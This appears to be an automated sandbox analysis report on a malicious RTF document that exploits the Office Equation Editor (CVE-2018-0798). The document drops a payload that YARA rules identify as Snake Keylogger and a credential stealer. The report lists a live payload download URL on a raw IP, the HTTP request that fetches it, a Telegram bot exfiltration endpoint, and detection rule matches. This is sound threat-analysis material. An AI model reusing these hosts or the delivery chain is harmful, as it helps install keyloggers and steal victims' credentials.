Source: EQNEDT32.EXE, 00000002.00000003.908007416.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.908630489.00000000005C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000003.907989130.0000000000602000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.908270484.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://208.67.105.179/arinzezx.exe
Source: EQNEDT32.EXE, 00000002.00000003.907989130.0000000000602000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://208.67.105.179/arinzezx.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.908270484.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://208.67.105.179/arinzezx.exej
Source: EQNEDT32.EXE, 00000002.00000002.908270484.000000000058F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://208.67.105.179/arinzezx.exemmC:
Source: rinzearec84736.exe, 00000006.00000002.1173839391.00000000023B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: rinzearec84736.exe, 00000006.00000002.1173839391.00000000023B9000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000006.00000002.1173667930.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: rinzearec84736.exe, 00000006.00000002.1173338666.000000000079B000.00000004.00000020.00020000.00000000.sdmp, rinzearec84736.exe, 00000006.00000002.1173667930.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: rinzearec84736.exe, 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: rinzearec84736.exe, 00000006.00000002.1173667930.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.orgP
Source: rinzearec84736.exe, 00000006.00000002.1173667930.0000000002361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rinzearec84736.exe, 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5F045E8A-1FBB-4CF2-90BD-E34311AE33F9}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET /arinzezx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 208.67.105.179Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.rinzearec84736.exe.226663c.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 5.2.rinzearec84736.exe.2249628.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\arinzezx[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to dropped file
Yara signature match
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf, type: SAMPLE Matched rule: SUSP_INDICATOR_RTF_MalVer_Objects date = 2022-10-20, hash2 = a31da6c6a8a340901f764586a28bd5f11f6d2a60a38bf60acd844c906a0d44b1, author = ditekSHen, description = Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents., score = 43812ca7f583e40b3e3e92ae90a7e935c87108fa863702aa9623c6b7dc3697a2, reference = https://github.com/ditekshen/detection
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 2.3.EQNEDT32.EXE.5c2588.0.raw.unpack, type: UNPACKEDPE Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 2.3.EQNEDT32.EXE.5c2588.0.unpack, type: UNPACKEDPE Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 2.2.EQNEDT32.EXE.5c2588.0.unpack, type: UNPACKEDPE Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 2.2.EQNEDT32.EXE.5c2588.0.raw.unpack, type: UNPACKEDPE Matched rule: APT_NK_Methodology_Artificial_UserAgent_IE_Win7 hash1 = e63efbf8624a531bb435b7446dbbfc25, author = Steve Miller aka @stvemillertime, description = Detects hard-coded User-Agent string that has been present in several APT37 malware families., score =
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.rinzearec84736.exe.226663c.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 5.2.rinzearec84736.exe.2249628.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D1040 5_2_001D1040
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D008C 5_2_001D008C
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D1BE8 5_2_001D1BE8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D1D96 5_2_001D1D96
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D0519 5_2_001D0519
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D55B0 5_2_001D55B0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D5850 5_2_001D5850
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D5841 5_2_001D5841
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_04920006 5_2_04920006
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_04920048 5_2_04920048
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C4CA8 6_2_001C4CA8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CDCDC 6_2_001CDCDC
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CE129 6_2_001CE129
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C3D69 6_2_001C3D69
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CE580 6_2_001CE580
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C5181 6_2_001C5181
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C65A1 6_2_001C65A1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CE9D9 6_2_001CE9D9
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C31C1 6_2_001C31C1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CA9F0 6_2_001CA9F0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C55E1 6_2_001C55E1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CEE30 6_2_001CEE30
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C5A40 6_2_001C5A40
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C4660 6_2_001C4660
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CF288 6_2_001CF288
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C5EA0 6_2_001C5EA0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CF6E0 6_2_001CF6E0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CFB38 6_2_001CFB38
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001CA120 6_2_001CA120
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C26E8 6_2_001C26E8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00265220 6_2_00265220
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00269828 6_2_00269828
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026C030 6_2_0026C030
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261600 6_2_00261600
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026E600 6_2_0026E600
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00263010 6_2_00263010
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00263468 6_2_00263468
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00266C68 6_2_00266C68
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026C678 6_2_0026C678
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00260048 6_2_00260048
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268248 6_2_00268248
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026EC48 6_2_0026EC48
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261A58 6_2_00261A58
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002604A0 6_2_002604A0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002686A0 6_2_002686A0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261EB0 6_2_00261EB0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00269C80 6_2_00269C80
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002670E8 6_2_002670E8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002608F8 6_2_002608F8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002638C0 6_2_002638C0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026CCC0 6_2_0026CCC0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026A0D8 6_2_0026A0D8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268B20 6_2_00268B20
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00264730 6_2_00264730
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026A530 6_2_0026A530
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262308 6_2_00262308
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00265F10 6_2_00265F10
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026D310 6_2_0026D310
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262760 6_2_00262760
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026D960 6_2_0026D960
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268F78 6_2_00268F78
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267540 6_2_00267540
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00260D50 6_2_00260D50
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002611A8 6_2_002611A8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026DFB0 6_2_0026DFB0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262BB8 6_2_00262BB8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026A988 6_2_0026A988
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026B390 6_2_0026B390
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267998 6_2_00267998
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026B9E0 6_2_0026B9E0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267DF0 6_2_00267DF0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002693D0 6_2_002693D0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268239 6_2_00268239
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00263000 6_2_00263000
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00269818 6_2_00269818
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261A48 6_2_00261A48
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00266C57 6_2_00266C57
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00263459 6_2_00263459
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261EA0 6_2_00261EA0
